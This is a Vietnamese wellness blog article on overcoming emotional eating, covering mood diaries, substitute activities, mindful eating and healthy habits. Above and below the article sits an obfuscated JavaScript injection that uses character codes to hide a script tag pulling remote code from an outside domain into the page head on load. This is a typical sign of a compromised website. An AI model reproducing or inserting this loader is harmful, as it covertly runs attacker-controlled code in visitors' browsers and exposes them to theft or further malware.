Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Từ bỏ ăn uống theo cảm xúc

Bạn có thể nhận ra chính mình trong ít nhất một ký ức ăn uống theo cảm xúc. Một trong những cách tốt nhất để xác định các diễn biến đằng sau việc ăn uống theo cảm xúc của bạn là theo dõi nhật ký thực phẩm và tâm trạng. Trong bài viết này, Jade House (www.jadehousevn.com) sẽ giúp các bạn giải quyết vấn đề cảm xúc và xây dựng lối sống lành mạnh trong cuộc đời bạn!

Xem thêm

Cơn đói cảm xúc và cơn đói thể chất
Những kích thích ăn uống theo cảm xúc
Ăn uống theo cảm xúc và cách phòng ngừa

Giữ một cuốn nhật ký ăn uống theo cảm xúc

Mỗi khi bạn ăn quá nhiều hoặc cảm thấy bắt buộc phải tiếp cận với những loại thực phẩm giúp giải tỏa cảm xúc của bạn, hãy dành một chút thời gian để tìm hiểu điều gì đã kích thích sự thôi thúc này. Nếu bạn quay lại, bạn thường sẽ tìm thấy một sự kiện gây khó chịu cho chu kỳ ăn uống theo cảm xúc. Viết tất cả những gì bạn đã trải qua vào nhật ký thực phẩm và tâm trạng của bạn: những gì bạn đã ăn (hoặc muốn ăn), những gì xảy ra làm bạn khó chịu, bạn cảm thấy như thế nào trước khi ăn, những gì bạn cảm thấy khi bạn ăn và sau đó bạn cảm thấy như thế nào.

Theo thời gian, bạn sẽ thấy một mô típ điển hình xuất hiện. Có lẽ bạn luôn có cảm thấy vui vẻ sau khi dành thời gian với một người bạn quan trọng. Hoặc có lẽ bạn sẽ cảm thấy căng thẳng và ăn bất cứ khi nào bạn đến hạn deadline hoặc khi bạn các hóa đơn gia đình tăng vọt, bất thường trong khi nguồn thu nhập chỉ có hạn. Khi bạn đã xác định được các yếu tố kích thích ăn uống theo cảm xúc, bước tiếp theo là xác định các phương pháp lành mạnh hơn để nuôi dưỡng cảm xúc của bạn.

Nuôi dưỡng cảm xúc của bạn

Nếu bạn không biết cách quản lý cảm xúc theo cách không liên quan đến thực phẩm, bạn sẽ không thể kiểm soát thói quen ăn uống của mình trong thời gian dài. Chế độ ăn kiêng thường thất bại vì họ đưa ra lời khuyên dinh dưỡng hợp lý chỉ hoạt động nếu bạn có ý thức kiểm soát thói quen ăn uống của mình. Nó không hoạt động khi cảm xúc chiếm lĩnh quá trình, đòi trả tiền ngay lập tức bằng thực phẩm.

Để ngừng chu kỳ ăn uống theo cảm xúc, bạn phải tìm những cách khác để thỏa mãn bản thân về mặt cảm xúc. Không đủ để hiểu chu kỳ ăn uống theo cảm xúc hoặc thậm chí để hiểu các yếu tố kích thích cảm xúc thèm của bạn, mặc dù đó là bước đầu tiên rất lớn. Bạn cần những lựa chọn thay thế cho thực phẩm mà bạn có thể hướng đến để thỏa mãn cảm xúc.

Lựa chọn thay thế cho việc ăn uống theo cảm xúc

Nếu bạn chán nản hoặc cô đơn, hãy gọi cho một người luôn khiến bạn cảm thấy tốt hơn, chơi với chó hoặc mèo của bạn, hoặc nhìn vào một bức ảnh yêu thích hoặc vật kỷ niệm ấp ủ.

Nếu bạn lo lắng, hãy sử dụng năng lượng tinh thần của bạn bằng cách nhảy theo bài hát yêu thích của bạn, bóp bóng căng thẳng hoặc đi bộ nhanh.

Nếu bạn kiệt sức, hãy tự thưởng cho mình một tách trà nóng, tắm, thắp vài ngọn nến thơm hoặc quấn mình trong một chiếc chăn ấm áp.

Nếu bạn chán, hãy đọc một cuốn sách hay, xem một chương trình hài kịch, khám phá các hoạt động ngoài trời hoặc chuyển sang một hoạt động bạn yêu thích (thuê thùa, chơi guitar, vẽ tranh, nấu ăn, …).

Xem thêm

Cơn đói cảm xúc và cơn đói thể chất
Những kích thích ăn uống theo cảm xúc
Từ bỏ ăn uống theo cảm xúc
Ăn uống theo cảm xúc và cách phòng ngừa

Tạm dừng khi cảm giác thèm ăn và tự kiểm soát

Hầu hết những người ăn uống theo cảm xúc đều cảm thấy bất lực trước sự thèm ăn của họ. Khi bạn muốn ăn và bằng cách nào đó bạn phải tìm cho bằng được đồ ăn bạn yêu thích, đó là tất cả những gì bạn có thể nghĩ đến. Bạn cảm thấy căng thẳng gần như không thể chịu đựng được mà cần phải ăn ngay bây giờ, bất cứ thứ gì! Bởi vì bạn đã cố gắng kiềm chế những hành động tương tự trong quá khứ và sự thất bại của bạn, bạn tin rằng sức mạnh ý chí của bạn sẽ có ích. Nhưng sự thật là bạn có nhiều sức mạnh hơn sự thèm muốn của bạn hơn bạn nghĩ. Bạn nên tạm dừng mọi việc khi cảm giác thèm ăn ập tới. Trước khi bỏ vào miệng bất cứ đồ ăn nào, hãy cân nhắc rằng miếng bánh kem ngọt ngào này sẽ phá hủy toàn bộ chế độ ăn uống bạn đang nỗ lực thực hiện.

Mất 5 phút cân nhắc trước khi bạn khao khát

Ăn uống theo cảm xúc có xu hướng tự động và hầu như không chịu tác động của tâm trí. Trước khi bạn nhận ra những gì bạn đang làm, bạn đã với lấy một chiếc bánh kem và thưởng thức được một nửa chiếc bánh rồi. Nhưng nếu bạn có thể dành một chút thời gian để tạm dừng và suy ngẫm khi bạn thèm muốn, bạn hãy cho mình cơ hội để đưa ra quyết định khác.

Bạn có thể bỏ ăn trong năm phút? Hoặc chỉ bắt đầu với một phút. Đừng nói với bản thân rằng bạn không thể  từ bỏ khát khao ăn uống; hãy nhớ rằng, việc cấm đoán sẽ tạo ra cảm giác tò mò, vô cùng hấp dẫn. Chỉ cần nói với chính mình hãy chờ đợi năm phút.

Trong khi chờ đợi, hãy tự kiểm tra. Bản thân bạn cảm thấy thế nào? Chuyện gì đang xảy ra vậy? Bạn đang làm gì thế? Ngay cả khi bạn kết thúc việc ăn uống theo cảm xúc này, bạn sẽ hiểu rõ hơn về lý do tại sao bạn làm điều đó. Điều này có thể giúp bạn thiết lập cho mình một phản ứng khác khi cơn đói cảm xúc ùa tới.

Học cách chấp nhận cảm xúc của bạn

Mặc dù có vẻ như vấn đề cốt lõi là bạn bất lực trước sự hấp dẫn của thức ăn, nhưng việc ăn uống theo cảm xúc thực sự bắt nguồn từ cảm giác bất lực trước cảm xúc của bạn. Bạn không cảm thấy có khả năng đối phó với cảm xúc của mình, vì vậy bạn né tránh những cảm xúc đó bằng thức ăn.

Cho phép bản thân cảm thấy những cảm xúc khó chịu có thể đáng sợ. Bạn có thể sợ rằng, giống như hộp Pandora, một khi bạn mở cửa, bạn sẽ không thể đóng nó. Nhưng sự thật là khi chúng ta không bị ám ảnh hay kìm nén cảm xúc, ngay cả những cảm giác đau đớn và khó khăn nhất cũng giảm đi tương đối nhanh chóng và mất đi khả năng kiểm soát sự chú ý của chúng ta.

Để làm điều này, bạn nên tu tập ăn trong chánh niệm và học cách kết nối với trải nghiệm cảm xúc trong từng khoảnh khắc của bạn khi thưởng thức bữa ăn. Điều này có thể cho phép bạn kiềm chế căng thẳng và chữa lành các vấn đề cảm xúc thường kích hoạt việc ăn uống theo cảm xúc. Tu tập ăn trong chánh niệm giúp bạn thực sự thưởng thức món ăn mà không ăn quá nhiều, ăn vừa đủ, ăn trong vui vẻ và tạo sự thoải mái.

Ăn uống theo cảm xúc có nghĩa là bạn ăn để nuôi dưỡng cảm xúc của mình, bạn có xu hướng làm điều đó một cách nhanh chóng, tiêu thụ thực phẩm một cách tự do. Bạn ăn quá nhanh đến nỗi bạn bỏ lỡ những hương vị và kết cấu khác nhau của thức ăn của bạn cũng như các tín hiệu của cơ thể bạn đã no và không còn đói nữa. Nhưng bằng cách làm chậm và thưởng thức từng phần của món ăn, bạn sẽ không chỉ thưởng thức đồ ăn của mình nhiều hơn mà còn ít có khả năng ăn quá nhiều.

Ăn chậm và thưởng thức món ăn của bạn là một khía cạnh quan trọng của việc ăn trong chánh niệm, ngược lại với việc ăn uống vô cảm, vô cảm. Hãy thử hít thở sâu trước khi bắt đầu thức ăn, đặt dụng cụ của bạn xuống giữa các vết cắn và thực sự tập trung vào trải nghiệm ăn uống. Hãy chú ý đến kết cấu, hình dạng, màu sắc và mùi thức ăn của bạn. Làm thế nào để mỗi khẩu vị ngon miệng? Làm thế nào nó làm cho cơ thể của bạn cảm thấy? Bằng cách làm chậm theo cách này, bạn sẽ thấy bạn đánh giá cao từng miếng thức ăn hơn nhiều. Bạn thậm chí có thể thưởng thức các loại thực phẩm yêu thích của bạn và cảm thấy no ít hơn nhiều. Cần có thời gian để tín hiệu đầy đủ của cơ thể đến não của bạn, vì vậy, dành một vài phút để xem xét cảm giác của bạn sau mỗi lần cắn, đói hay say có thể giúp bạn tránh ăn quá nhiều.

Tu tập ăn trong chánh niệm

Ăn trong khi bạn cũng đang làm những việc khác, như xem TV, lái xe hoặc chơi với điện thoại của bạn có thể khiến bạn không thể thưởng thức đầy đủ thức ăn của mình và bạn nạp cơ thể một lượng lớn thức ăn một cách vô thức. Vì tâm trí của bạn ở nơi khác, bạn có thể không cảm thấy hài lòng hoặc tiếp tục ăn mặc dù bạn không còn đói nữa. Ăn nhiều hơn có thể giúp tập trung tâm trí vào thức ăn của bạn và niềm vui của một bữa ăn và kiềm chế ăn quá nhiều.

Xây dựng lối sống lành mạnh

Khi bạn khỏe mạnh, thư giãn và nghỉ ngơi tốt, bạn có thể xử lý tốt hơn các biến động bất ngờ trong cuộc sống. Nhưng khi bạn đã kiệt sức và choáng ngợp, bất kỳ tiếng nấc nhỏ nào cũng có khả năng khiến bạn rời khỏi đường ray và đi thẳng về phía tủ lạnh. Tập thể dục, ngủ và các lối sống lành mạnh khác sẽ giúp bạn vượt qua những thời điểm khó khăn mà không cần ăn uống theo cảm xúc.

Tập thể dục hàng ngày là một lối sống lành mạnh được ưu tiên hàng đầu. Hoạt động thể chất làm nên điều kỳ diệu cho mức độ tâm trạng và năng lượng của bạn, và đó cũng là một công cụ giảm căng thẳng mạnh mẽ. Và tập thói quen tập thể dục dễ dàng hơn bạn nghĩ.

Đặt mục tiêu ngủ đủ 8 giờ ngủ trong mỗi đêm. Khi bạn không có được giấc ngủ cần thiết, cơ thể bạn thèm những thực phẩm có đường sẽ giúp bạn tăng năng lượng nhanh chóng. Nghỉ ngơi nhiều sẽ giúp kiểm soát sự thèm ăn và giảm cảm giác thèm ăn.

Dành thời gian để thư giãn. Cho phép bản thân dành ít nhất 30 phút mỗi ngày để thư giãn, giải nén và thư giãn. Đây là thời gian của bạn để nghỉ ngơi từ trách nhiệm của bạn và sạc lại pin của bạn.

Kết nối với những người khác. Đừng đánh giá thấp tầm quan trọng của các mối quan hệ chặt chẽ và các hoạt động xã hội. Dành thời gian với những người tích cực giúp nâng cao cuộc sống của bạn sẽ giúp bảo vệ bạn khỏi những tác động tiêu cực của căng thẳng.

Lời kết

Thức ăn giống như người bạn tri kỷ của cảm xúc; luôn luôn xuất hiện đúng lúc khi cảm xúc cần, luôn lắng nghe những tâm sự, rắc rối, hay cảm xúc vui sướng một cách “chân thành” nhất. Thay vì để cảm xúc điều khiển cách bạn ăn như thế nào, hãy điều khiển cảm xúc – kiểm soát và cân bằng cảm xúc trước khi bạn đưa vào miệng bất kì loại đồ ăn nào.

Xem thêm

Cơn đói cảm xúc và cơn đói thể chất
Những kích thích ăn uống theo cảm xúc
Từ bỏ ăn uống theo cảm xúc
Ăn uống theo cảm xúc và cách phòng ngừa

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh

2 thoughts on “Từ bỏ ăn uống theo cảm xúc”

  1. Pingback: Cơn đói cảm xúc và cơn đói thể chất

  2. Pingback: Những kích thích ăn uống theo cảm xúc

Comments are closed.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();